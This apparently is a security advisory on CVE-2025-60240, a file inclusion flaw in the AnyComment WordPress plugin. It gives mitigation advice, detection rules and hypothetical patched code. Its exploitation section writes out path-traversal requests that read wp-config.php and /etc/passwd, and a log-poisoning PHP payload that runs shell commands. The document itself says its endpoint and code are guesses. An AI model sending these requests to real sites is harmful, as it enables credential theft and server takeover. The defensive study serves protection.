CVE-2025-60240

Executive Summary

CVE-2025-60240 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the AnyComment WordPress plugin, developed by Alexander. The flaw resides in improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially escalating to remote code execution if combined with file upload capabilities.

The vulnerability affects all versions of AnyComment up to and including 0.3.6. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is high due to the ease of exploitation and the sensitive nature of accessible files.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. AnyComment is distributed via the official WordPress plugin repository and is also available for manual installation. Users who have installed this plugin from any source are at risk. Since the plugin is unmaintained and unpatched, it represents a supply chain risk for any WordPress site that includes it. Site administrators should immediately audit their plugin inventory and remove AnyComment if present.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): High – Sensitive files (e.g., wp-config.php) can be read.
• Integrity (I): None – File contents cannot be modified.
• Availability (A): None – Service availability is not directly impacted.

Threat Level: High. The low attack complexity and lack of required privileges make this a serious threat for any WordPress site running the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) issue, categorized under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). The AnyComment plugin likely uses a dynamic include statement based on user-supplied input (e.g., a page or file parameter) without proper sanitization or validation.

How it works:

1. The plugin receives a request with a parameter that controls which file to include.
2. The parameter value is directly concatenated into a PHP include() or require() statement.
3. An attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to include arbitrary files from the server's filesystem.
4. The included file's content is then rendered or processed, leading to information disclosure.

Example vulnerable code pattern:

$file = $_GET['file'];
include("includes/" . $file . ".php");

An attacker could exploit this by sending:

GET /wp-content/plugins/anycomment/index.php?file=../../../../etc/passwd%00

The %00 (null byte) may be used to terminate the string and bypass the .php extension append, depending on PHP version and configuration.

Vulnerable vs. Patched Code

Since no official patch exists, we can only describe the vulnerable pattern and a hypothetical secure implementation.

Vulnerable Code (Hypothetical):

<?php
// anycomment/index.php
$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'pages/' . $page . '.php' );
?>

Patched Code (Hypothetical):

<?php
// anycomment/index.php
$allowed_pages = array('dashboard', 'settings', 'help');
$page = $_GET['page'];
if (in_array($page, $allowed_pages, true)) {
    include( plugin_dir_path( __FILE__ ) . 'pages/' . $page . '.php' );
} else {
    // Handle error or redirect
    wp_die('Invalid page request.');
}
?>

The patched version uses a whitelist approach, ensuring only predefined page names can be included. This prevents any path traversal or arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with AnyComment plugin version <= 0.3.6 active.
• Knowledge of the plugin's vulnerable endpoint (likely wp-content/plugins/anycomment/index.php or similar).

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web proxy or fuzzing tool to discover parameters like page, file, include, or template.

2. Craft the exploit URL: Use path traversal to read sensitive files.

   http://target.com/wp-content/plugins/anycomment/index.php?page=../../../../wp-config
   

3. Read wp-config.php: This file contains database credentials and authentication keys.

   http://target.com/wp-content/plugins/anycomment/index.php?page=../../../../wp-config%00
   

4. Attempt RCE via log poisoning (if applicable): If the server logs are accessible, inject PHP code into the access log and include that log file.

   GET /<?php system($_GET['cmd']); ?> HTTP/1.1
   Host: target.com
   

   Then include the log file:

   http://target.com/wp-content/plugins/anycomment/index.php?page=../../../../var/log/apache2/access.log&cmd=id
   

Note: No public exploit code is available for this CVE at the time of writing.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for suspicious page or file parameters containing ../ or %00.
• Look for requests to wp-content/plugins/anycomment/index.php with unusual query strings.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Response:

1. Immediately disable or remove the AnyComment plugin.
2. Check for signs of compromise: review recent file changes, user accounts, and database entries.
3. Rotate all credentials that may have been exposed (database passwords, salts, API keys).
4. Conduct a full malware scan of the WordPress installation.
5. Apply a Web Application Firewall (WAF) rule to block path traversal attempts.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/anycomment/anycomment.php
  • /wp-content/plugins/anycomment/index.php
• URL Patterns:
  • */wp-content/plugins/anycomment/index.php?page=*
  • */wp-content/plugins/anycomment/index.php?file=*
• Log Entries:
  • Requests containing ../ or %00 in the query string.
  • Requests to anycomment/index.php with non-standard parameters.
• Network Indicators:
  • Outbound connections from the web server to unknown IPs (if RCE is achieved).
• File Hashes (Plugin Version 0.3.6):
  • (Hash not available – users should verify against official repository)

Detection Engineering

YARA Rule

rule Detect_AnyComment_LFI_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-60240 in AnyComment WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60240"
    strings:
        $s1 = "anycomment" nocase
        $s2 = "page=" nocase
        $s3 = "../" nocase
        $s4 = "%00" nocase
        $s5 = "wp-config" nocase
        $s6 = "/etc/passwd" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: AnyComment Plugin LFI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-60240 in AnyComment WordPress plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'anycomment'
            - 'page='
            - '../'
            - '%00'
            - 'wp-config'
            - '/etc/passwd'
    condition: selection
falsepositives:
    - Legitimate use of the plugin's page parameter (unlikely with path traversal)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-60240 - AnyComment WordPress Plugin LFI Attempt";
    flow:to_server,established;
    content:"anycomment"; http_uri; nocase;
    content:"page="; http_uri; nocase;
    pcre:"/(\.\.\/|%00|wp-config|\/etc\/passwd)/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-60240;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Since no patch is available, the only safe option is to delete the AnyComment plugin entirely from the WordPress installation.
2. Audit for backdoors: Check for any unauthorized files or modifications that may have been introduced via LFI exploitation.
3. Update credentials: Change all database passwords, WordPress salts, and any other secrets that may have been exposed.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Regularly audit all installed plugins and remove any that are unmaintained or have known vulnerabilities.
• Apply the principle of least privilege to the web server user to limit the impact of LFI.
• Use a security plugin that monitors file integrity and detects suspicious activity.

Workaround (if removal is not immediately possible):

• Disable the vulnerable endpoint by adding the following rule to .htaccess (Apache) or equivalent:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (page|file)= [NC]
  RewriteRule ^wp-content/plugins/anycomment/ - [F,L]
  

Valters IT
Securing Digital Frontiers